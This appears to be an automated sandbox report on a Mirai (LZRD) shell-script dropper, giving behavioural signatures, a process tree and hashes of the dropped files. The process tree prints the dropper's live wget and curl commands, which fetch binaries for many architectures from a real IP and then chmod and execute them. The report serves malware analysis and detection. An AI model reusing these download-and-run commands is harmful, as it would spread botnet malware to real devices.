Analysis

  • max time kernel
    139s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    07/03/2025, 05:18

General

  • Target

    97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh

  • Size

    2KB

  • MD5

    92b0a18b935a6afdea317d573967bd1e

  • SHA1

    09eeb86ddb300ff70f09613b2f50813488851c74

  • SHA256

    97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01

  • SHA512

    0abac2769286e7dcd3893ac64e604556418e134ddc6b5b38b9a7353fe3cb3048da3fa189416ec05c83147ca1f4c0a8dca2513f2fe7c93927097267884933dc14

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
    /tmp/97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:653
    • /usr/bin/wget
      wget http://23.146.184.61/hiddenbin/trw.x86
      2⤵
      • Writes file to tmp directory
      PID:662
    • /usr/bin/curl
      curl -O http://23.146.184.61/hiddenbin/trw.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/cat
      cat trw.x86
      2⤵
        PID:680
      • /bin/chmod
        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.x86
        2⤵
        • File and Directory Permissions Modification
        PID:682
      • /tmp/trf
        ./trf
        2⤵
          PID:683
        • /usr/bin/wget
          wget http://23.146.184.61/hiddenbin/trw.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:685
        • /usr/bin/curl
          curl -O http://23.146.184.61/hiddenbin/trw.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:690
        • /bin/cat
          cat trw.mips
          2⤵
          • System Network Configuration Discovery
          PID:692
        • /bin/chmod
          chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.mips trw.x86
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/trf
          ./trf
          2⤵
            PID:694
          • /usr/bin/wget
            wget http://23.146.184.61/hiddenbin/trw.arc
            2⤵
            • Writes file to tmp directory
            PID:696
          • /usr/bin/curl
            curl -O http://23.146.184.61/hiddenbin/trw.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:697
          • /bin/cat
            cat trw.arc
            2⤵
              PID:698
            • /bin/chmod
              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.mips trw.x86
              2⤵
              • File and Directory Permissions Modification
              PID:700
            • /tmp/trf
              ./trf
              2⤵
                PID:702
              • /usr/bin/wget
                wget http://23.146.184.61/hiddenbin/trw.i468
                2⤵
                  PID:704
                • /usr/bin/curl
                  curl -O http://23.146.184.61/hiddenbin/trw.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:708
                • /bin/cat
                  cat trw.i468
                  2⤵
                    PID:714
                  • /bin/chmod
                    chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.mips trw.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:715
                  • /tmp/trf
                    ./trf
                    2⤵
                      PID:716
                    • /usr/bin/wget
                      wget http://23.146.184.61/hiddenbin/trw.i686
                      2⤵
                        PID:717
                      • /usr/bin/curl
                        curl -O http://23.146.184.61/hiddenbin/trw.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:722
                      • /bin/cat
                        cat trw.i686
                        2⤵
                          PID:726
                        • /bin/chmod
                          chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.x86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:727
                        • /tmp/trf
                          ./trf
                          2⤵
                            PID:729
                          • /usr/bin/wget
                            wget http://23.146.184.61/hiddenbin/trw.x86_64
                            2⤵
                              PID:730
                            • /usr/bin/curl
                              curl -O http://23.146.184.61/hiddenbin/trw.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:733
                            • /bin/cat
                              cat trw.x86_64
                              2⤵
                                PID:738
                              • /bin/chmod
                                chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.x86 trw.x86_64
                                2⤵
                                • File and Directory Permissions Modification
                                PID:739
                              • /tmp/trf
                                ./trf
                                2⤵
                                  PID:744
                                • /usr/bin/wget
                                  wget http://23.146.184.61/hiddenbin/trw.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:745
                                • /usr/bin/curl
                                  curl -O http://23.146.184.61/hiddenbin/trw.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:749
                                • /bin/cat
                                  cat trw.mpsl
                                  2⤵
                                    PID:757
                                  • /bin/chmod
                                    chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:760
                                  • /tmp/trf
                                    ./trf
                                    2⤵
                                      PID:761
                                    • /usr/bin/wget
                                      wget http://23.146.184.61/hiddenbin/trw.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:763
                                    • /usr/bin/curl
                                      curl -O http://23.146.184.61/hiddenbin/trw.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Writes file to tmp directory
                                      PID:769
                                    • /bin/cat
                                      cat trw.arm
                                      2⤵
                                        PID:772
                                      • /bin/chmod
                                        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:773
                                      • /tmp/trf
                                        ./trf
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:774
                                      • /usr/bin/wget
                                        wget http://23.146.184.61/hiddenbin/trw.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:778
                                      • /usr/bin/curl
                                        curl -O http://23.146.184.61/hiddenbin/trw.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:779
                                      • /bin/cat
                                        cat trw.arm5
                                        2⤵
                                          PID:780
                                        • /bin/chmod
                                          chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:781
                                        • /tmp/trf
                                          ./trf
                                          2⤵
                                            PID:782
                                          • /usr/bin/wget
                                            wget http://23.146.184.61/hiddenbin/trw.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:783
                                          • /usr/bin/curl
                                            curl -O http://23.146.184.61/hiddenbin/trw.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:786
                                          • /bin/cat
                                            cat trw.arm6
                                            2⤵
                                              PID:792
                                            • /bin/chmod
                                              chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.arm6 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:794
                                            • /tmp/trf
                                              ./trf
                                              2⤵
                                                PID:795
                                              • /usr/bin/wget
                                                wget http://23.146.184.61/hiddenbin/trw.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:796
                                              • /usr/bin/curl
                                                curl -O http://23.146.184.61/hiddenbin/trw.arm7
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:801
                                              • /bin/cat
                                                cat trw.arm7
                                                2⤵
                                                  PID:807
                                                • /bin/chmod
                                                  chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh systemd-private-cd782eb87cfa440791e0a18dd329d89e-systemd-timedated.service-eKjZXX trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.x86 trw.x86_64
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:808
                                                • /tmp/trf
                                                  ./trf
                                                  2⤵
                                                  • Modifies Watchdog functionality
                                                  • Writes file to system bin folder
                                                  • Reads runtime system information
                                                  PID:810
                                                • /usr/bin/wget
                                                  wget http://23.146.184.61/hiddenbin/trw.ppc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:814
                                                • /usr/bin/curl
                                                  curl -O http://23.146.184.61/hiddenbin/trw.ppc
                                                  2⤵
                                                  • Checks CPU configuration
                                                  • Reads runtime system information
                                                  • Writes file to tmp directory
                                                  PID:821
                                                • /bin/cat
                                                  cat trw.ppc
                                                  2⤵
                                                    PID:827
                                                  • /bin/chmod
                                                    chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.x86 trw.x86_64
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:829
                                                  • /tmp/trf
                                                    ./trf
                                                    2⤵
                                                      PID:831
                                                    • /usr/bin/wget
                                                      wget http://23.146.184.61/hiddenbin/trw.spc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:834
                                                    • /usr/bin/curl
                                                      curl -O http://23.146.184.61/hiddenbin/trw.spc
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:838
                                                    • /bin/cat
                                                      cat trw.spc
                                                      2⤵
                                                        PID:839
                                                      • /bin/chmod
                                                        chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:840
                                                      • /tmp/trf
                                                        ./trf
                                                        2⤵
                                                          PID:841
                                                        • /usr/bin/wget
                                                          wget http://23.146.184.61/hiddenbin/trw.m68k
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:843
                                                        • /usr/bin/curl
                                                          curl -O http://23.146.184.61/hiddenbin/trw.m68k
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:844
                                                        • /bin/cat
                                                          cat trw.m68k
                                                          2⤵
                                                            PID:845
                                                          • /bin/chmod
                                                            chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.spc trw.x86 trw.x86_64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:846
                                                          • /tmp/trf
                                                            ./trf
                                                            2⤵
                                                              PID:847
                                                            • /usr/bin/wget
                                                              wget http://23.146.184.61/hiddenbin/trw.sh4
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:849
                                                            • /usr/bin/curl
                                                              curl -O http://23.146.184.61/hiddenbin/trw.sh4
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:850
                                                            • /bin/cat
                                                              cat trw.sh4
                                                              2⤵
                                                                PID:851
                                                              • /bin/chmod
                                                                chmod +x 97494a11ca5c4b52978092cc55a411f7ee8790a358549c8c7523d2d27820ac01.sh trf trw.arc trw.arm trw.arm5 trw.arm6 trw.arm7 trw.i468 trw.i686 trw.m68k trw.mips trw.mpsl trw.ppc trw.sh4 trw.spc trw.x86 trw.x86_64
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:852
                                                              • /tmp/trf
                                                                ./trf
                                                                2⤵
                                                                  PID:853

                                                              Network

                                                              MITRE ATT&CK Enterprise v15

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              • /tmp/trf

                                                                Filesize

                                                                23KB

                                                                MD5

                                                                27fcca0043a2d0fa3b8c1474ba6a347b

                                                                SHA1

                                                                3256cb03556b457ae35baf22c021c75f4a1465af

                                                                SHA256

                                                                c518491ac679b646db6f34599a0be7309b7ec2cb6cd39dd97c46bcfc69f78098

                                                                SHA512

                                                                22f394294adaf48bc9e9c592c8c1e94becaa72cb66c03efb442d1c8b379772f403ee695f0f12ce546a9dd62ae20240c045024396fcab9cf6876ab27301ef157c

                                                              • /tmp/trf

                                                                Filesize

                                                                105KB

                                                                MD5

                                                                6e875e36906ef9cbd1a9a4cc6abb58a1

                                                                SHA1

                                                                c1a38724e70c8d76597b71681ab4255fd3690b91

                                                                SHA256

                                                                367b363d373acd4198ee34d58007362362ec51c8306392434a5d2b0fc1d4fc41

                                                                SHA512

                                                                b416a9528d4e62785fe5a9ecba276f9d4ea468db68330a606ace0d7aa0ea1628861ab8c8a17c46c6bd79b676c3948e5604ca3906bb9c9754d855a1fcc0baab8f

                                                              • /tmp/trf

                                                                Filesize

                                                                216B

                                                                MD5

                                                                eff80b39647abde14518e7b9c1f2d05b

                                                                SHA1

                                                                e14e90d5b962986c778e8cd5a6a33f525d830e05

                                                                SHA256

                                                                866dd35f127c93609824229cd8a62ed643c8024308763319f8a9168b5f75aa15

                                                                SHA512

                                                                9f38847736ade64e6d2d5261cef5155861a39a35cba62d76cb90d1c82296246e13d81af74daa0440f575146ebae0efcea0ee9804e6218e37a49276cb1d906db3

                                                              • /tmp/trf

                                                                Filesize

                                                                216B

                                                                MD5

                                                                f16b068167c523b48268d50341f14703

                                                                SHA1

                                                                a794a7c971b7d272459e2ea243f6c8038a0f48ab

                                                                SHA256

                                                                cba8069f0157c5e9210c815723a74abd794aab46d66069bd4eaa259dc79e7f23

                                                                SHA512

                                                                9ba5cc35283506694314c07241caa8119aeb58717dcd578481ce4add6bf6200f4a2ed494fa58e4d2a8ccde204e141dca59231bce8381e2313e8b130d79cf29c7

                                                              • /tmp/trf

                                                                Filesize

                                                                57KB

                                                                MD5

                                                                c2ab4cecc92e3d88b002ddae04006cfd

                                                                SHA1

                                                                a4c5e9225330897210034edadeea8a5414cf4e8d

                                                                SHA256

                                                                3bab0fcddf33dfce02e04246ae91aa5f6afb8cdc3dccfc75855e42e0144727c5

                                                                SHA512

                                                                516920477bf3c245d27ed99bcc0e48aa2fcf002af5f23ea6d178a4d9216462b464bd4f7f49fe4b6b8bea75a26b35160b420f59fa1f8271ebc17d85699160f568

                                                              • /tmp/trw.x86

                                                                Filesize

                                                                20KB

                                                                MD5

                                                                f6f62476e54629a3ef494d918cc2a921

                                                                SHA1

                                                                4c041456f2695eb66b953e6caa640fe24f8467ff

                                                                SHA256

                                                                9aeec2bcc4f00c0458d786066d910827abdfe95f441a2ade518df222efb439f5

                                                                SHA512

                                                                fbdf3bc209c16870abc1fd2ff349a726d12ed0a6c4b32b1ea36b4f47c02da236e3cf70e63380156c508adbae98e621e1ed377d604280a9180ebe784c6bb66302